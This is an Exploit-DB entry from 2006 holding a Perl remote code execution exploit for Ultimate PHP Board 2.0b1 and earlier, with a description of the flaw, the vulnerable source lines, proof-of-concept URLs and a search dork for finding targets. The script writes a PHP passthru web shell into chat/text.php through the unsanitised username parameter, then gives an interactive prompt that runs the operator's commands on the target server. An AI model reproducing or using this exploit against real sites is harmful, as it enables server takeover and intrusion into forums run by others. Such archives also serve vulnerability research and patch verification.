Ultimate PHP Board <= 2.0b1 chat/login.php Code Execution Exploit

2006-12-24T00:00:00
ID EDB-ID:2999
Type exploitdb
Reporter nuffsaid
Modified 2006-12-24T00:00:00

Description

Ultimate PHP Board <= 2.0b1 (chat/login.php) Code Execution Exploit. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + Ultimate PHP Board &lt;= 2.0b1 (chat/login.php) Remote Code Execution Vulnerability
# +-------------------------------------------------------------------------------------------
# + Affected Software .: Ultimate PHP Board (myUPB) &lt;= 2.0b1
# + Vendor ............: http://www.myupb.com/
# + Download ..........: http://fileserv.myupb.com/upb2.0B1.zip
# + Description .......: "Ultimate PHP Board is a free discussion forum that can be used as a free alternative to UBB or vBulletin"
# + Dork ..............: "Powered by UPB"
# + Class .............: Remote Code Execution
# + Risk ..............: High (Remote Code Execution)
# + Found By ..........: nuffsaid &lt;nuffsaid[at]newbslove.us&gt;
# +-------------------------------------------------------------------------------------------
# + Details:
# + Ultimate PHP Board chat/login.php does not sanatize the $username ($_GET["username"])
# + variable before writing it to chat/text.php on line 28, arbitrary php code can be written
# + then executed by visiting chat/text.php.
# +
# + Vulnerable Code: 
# + chat/login.php, line(s) 23-28:
# + -&gt; 23: $filename = "text.php";
# + -&gt; 24: $fileAr= file($filename);
# + -&gt; 25: exec("cat /dev/null &gt; '$filename'");
# + -&gt; 26: $fd = fopen( $filename, "a+" );
# + -&gt; 27: $filemessage = "&lt;font size='$font_s' face='$font_face' color='$font_color_main'&gt;&lt;b&gt;$username entered at $date&lt;/b&gt;&lt;/font&gt;&lt;br&gt;\n";
# + -&gt; 28: fputs($fd,$filemessage);
# +
# + Proof of Concept:
# + http://[target]/[path]/chat/login.php?option=chat&username=[code]
# + http://[target]/[path]/chat/text.php
# +-------------------------------------------------------------------------------------------

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$code = "&lt;?php if (isset(\$_GET[cmd])) passthru(\$_GET[cmd]); die; ?&gt;";

main();

sub usage
{
    print "\nUltimate PHP Board &lt;= 2.0b1 Remote Code Execution Exploit\n";
    print "nuffsaid &lt;nuffsaid[at]newbslove.us&gt;\n";
    print "-h, --host\ttarget host\t(example.com)\n";
    print "-d, --dir\tinstall dir\t(/forum)\n";
    exit;
}

sub main
{
    GetOptions ('h|host=s' =&gt; \$host,'d|dir=s' =&gt; \$dir);
    usage() unless $host;
    $dir = "/forum" unless $dir;
    $sock = IO::Socket::INET-&gt;new(Proto=&gt;"tcp",PeerAddr=&gt;"$host",PeerPort=&gt;"80")
     or die "\nconnect() failed.\n";
    
    print "\nconnected to ".$host.", sending data.\n";
    $sendurl = uri_escape($code);
    print $sock "GET ".$dir."/chat/login.php?option=chat&username=".$sendurl." HTTP/1.1\n";
    print $sock "Host: ".$host."\n";
    print $sock "Accept: */*\n";
    print $sock "Connection: close\n\n";
    print "\n";
    print "attempted to create php shell, server response:\n\n";
    while($recvd = &lt;$sock&gt;)
    {
        print " ".$recvd."";
    }
    
    while($cmd !~ "~quit")
    {
        print "\n\n-&gt; ";
        $cmd = &lt;STDIN&gt;;
        if ($cmd !~ "~quit")
        {
          $sock = IO::Socket::INET-&gt;new(Proto=&gt;"tcp",PeerAddr=&gt;"$host",PeerPort=&gt;"80")
           or die "connect() failed.\n";
          $sendurl = uri_escape($cmd);
          print $sock "GET ".$dir."/chat/text.php?cmd=".$sendurl." HTTP/1.1\n";
          print $sock "Host: ".$host."\n";
          print $sock "Accept: */*\n";
          print $sock "Connection: close\n\n";
          print "\n";
          while($recvd = &lt;$sock&gt;)
          {
              print $recvd;
          }
        }
    }
    exit;
}

# milw0rm.com [2006-12-24]